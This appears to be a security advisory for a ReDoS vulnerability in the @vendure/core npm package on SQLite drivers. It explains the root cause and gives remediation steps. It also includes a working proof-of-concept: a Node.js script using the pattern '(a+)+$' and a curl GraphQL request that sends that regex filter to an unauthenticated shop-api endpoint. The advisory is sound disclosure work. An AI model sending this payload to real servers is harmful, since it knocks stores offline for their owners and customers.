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| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| @vendure/core | npm | <= 3.6.4 | 3.6.5 |
Miggo AIRoot Cause AnalysisThe vulnerability, CVE-2026-63460, is a Regular Expression Denial of Service (ReDoS) affecting Vendure instances using SQLite drivers. The core issue stems from the application accepting unvalidated user-supplied regular expressions and executing them synchronously on the Node.js event loop via a SQLite user-defined function (UDF).
My analysis focused on two key areas:
regexpFn function, defined within packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, is explicitly identified in the vulnerability description as the UDF that performs the new RegExp().test() operation with the user-controlled pattern. This function is where the catastrophic backtracking occurs, leading to the DoS.buildWhereCondition function, located in packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts, is responsible for parsing filter parameters, including the regex operator. The provided patch clearly shows that a new validation step, assertSafeRegexFilter(operand);, was added to this function's case 'regex': block. This demonstrates that, in the vulnerable version, buildWhereCondition was directly accepting and passing the unvalidated user input (operand) for the regex filter, allowing the malicious pattern to reach the regexpFn UDF.Both functions are critical to the exploitation of this vulnerability: buildWhereCondition for processing the malicious input, and regexpFn for executing it in a way that causes the DoS. A runtime profiler would show activity in both these functions during an attack.
regexpFnpackages/core/src/service/helpers/list-query-builder/list-query-builder.ts
packages/core/src/config/auth/default-entity-access-control-strategy.ts lines 49–52
async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> {
if (permissions.length === 0) {
return true; // no @Allow → public
}
...
}
The three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path.
Affected database drivers: better-sqlite3, sqljs.
MySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).
Prerequisites: Node.js ≥ 18. No account, no server, no dependencies.
Step 1 — save the following as poc-redos.js:
// Exact code from list-query-builder.ts:918-919
const PATTERN = '(a+)+$';
const VALUE = 'a'.repeat(28) + 'b';
console.log('[*] pattern:', PATTERN, ' value:', VALUE);
console.log('[*] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(`${PATTERN}`, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);
Step 2 — run it:
node poc-redos.js
Expected output (verified on Node.js v24.14.0):
[*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab
[*] Starting (server would be unresponsive from this point)...
[+] elapsed: 19755 ms result: false
A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration.
Step 3 — GraphQL payload (against a running Vendure instance with better-sqlite3 or sqljs driver):
curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60
No test account is needed. The products query is publicly accessible.
Vulnerability type: Regular Expression Denial of Service (ReDoS)
Who is impacted:
better-sqlite3 or sqljs database driver (typical for development environments and single-server small deployments created via @vendure/create).Validate the regex before constructing it. Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. safe-regex2 or recheck) before passing them to new RegExp().
Enforce a maximum pattern length. Reject StringOperators.regex values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.
Run the UDF in a worker thread. Move regexpFn off the main event loop by executing it in a worker_threads context with an AbortSignal timeout so a hung regex cannot block the server.
Require authentication for filtered list queries. Add @Allow(Permission.Authenticated) to ShopProductsResolver.products (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.
buildWhereConditionpackages/core/src/service/helpers/list-query-builder/parse-filter-params.ts